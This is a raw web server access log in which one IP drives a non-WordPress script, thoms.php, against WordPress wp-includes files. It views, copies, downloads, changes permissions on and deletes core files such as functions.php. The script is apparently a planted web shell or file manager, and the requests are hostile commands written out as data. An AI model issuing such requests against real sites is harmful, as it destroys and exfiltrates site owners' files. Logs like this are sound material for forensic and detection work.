45.135.193.11 - - [11/Sep/2026:23:33:22 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22261 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fstyle-engine.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:22 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fpomo&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fpomo&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:22 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fsodium_compat HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fsodium_compat" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:22 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fpomo&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:22 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22287 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fsodium_compat" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:22 -0400] "GET /thoms.php?del=class-wp-image-editor-imagick.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-image-editor-imagick.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:22 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-recovery-mode-cookie-service.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-recovery-mode-cookie-service.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:22 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22249 "https://163.245.207.76:443/thoms.php?del=class-wp-image-editor-imagick.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:22 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22255 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-recovery-mode-cookie-service.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:23 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-theme-json-schema.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-theme-json-schema.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:23 -0400] "GET /thoms.php?chmod=class-wp-user-request.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-user-request.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:23 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-theme-json-schema.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:23 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?chmod=class-wp-user-request.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:23 -0400] "GET /thoms.php?del=bookmark-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=bookmark-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:23 -0400] "GET /thoms.php?chmod=class-wp-customize-control.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-control.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:23 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?del=bookmark-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:23 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22231 "https://163.245.207.76:443/thoms.php?chmod=class-wp-customize-control.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:23 -0400] "GET /thoms.php?del=class-wp-http-cookie.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-http-cookie.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:23 -0400] "GET /thoms.php?dl=default-filters.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=default-filters.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:23 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22218 "https://163.245.207.76:443/thoms.php?del=class-wp-http-cookie.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:23 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22279 "https://163.245.207.76:443/thoms.php?dl=default-filters.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:23 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=feed-atom-comments.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=feed-atom-comments.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:23 -0400] "GET /thoms.php?chmod=rest-api.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=rest-api.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:23 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22235 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=feed-atom-comments.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:23 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=rest-api.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:23 -0400] "GET /thoms.php?del=theme-previews.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=theme-previews.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:23 -0400] "GET /thoms.php?chmod=version.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=version.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:23 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?del=theme-previews.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:23 -0400] "GET /thoms.php?chmod=class-walker-comment.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-walker-comment.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:23 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?chmod=version.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:24 -0400] "GET /thoms.php?del=style-engine.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=style-engine.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:24 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?chmod=class-walker-comment.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:24 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?del=style-engine.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:24 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fhtml-api&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fhtml-api&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:24 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-customize-manager.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-customize-manager.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:24 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fhtml-api&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:24 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-paused-extensions-storage.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-paused-extensions-storage.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:24 -0400] "GET /thoms.php?chmod=class-wp-metadata-lazyloader.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-metadata-lazyloader.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:24 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22268 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-customize-manager.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:24 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-paused-extensions-storage.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:24 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22219 "https://163.245.207.76:443/thoms.php?chmod=class-wp-metadata-lazyloader.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:24 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-network-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-network-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:24 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-network-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:24 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-session-tokens.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-session-tokens.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:24 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-user-meta-session-tokens.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-user-meta-session-tokens.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:24 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-session-tokens.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:24 -0400] "GET /thoms.php?del=functions.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=functions.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:24 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22241 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-user-meta-session-tokens.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:24 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?del=functions.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:25 -0400] "GET /thoms.php?dl=functions.wp-scripts.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=functions.wp-scripts.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:25 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22259 "https://163.245.207.76:443/thoms.php?dl=functions.wp-scripts.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:25 -0400] "GET /thoms.php?del=IXR&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=IXR&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:25 -0400] "GET /thoms.php?chmod=class-wp-taxonomy.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-taxonomy.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:25 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fcomment.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fcomment.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:25 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22250 "https://163.245.207.76:443/thoms.php?del=IXR&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:25 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?chmod=class-wp-taxonomy.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:25 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fcomment.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:25 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&settings=1 HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:25 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:25 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2FID3 HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2FID3" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:25 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-oembed.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-oembed.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:25 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2FID3" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:25 -0400] "GET /thoms.php?dl=class-wp-block-styles-registry.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-styles-registry.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:25 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-oembed.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:25 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-image-editor-imagick.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-image-editor-imagick.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:25 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=class-wp-block-styles-registry.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:25 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-image-editor-imagick.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:26 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=plugin.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=plugin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
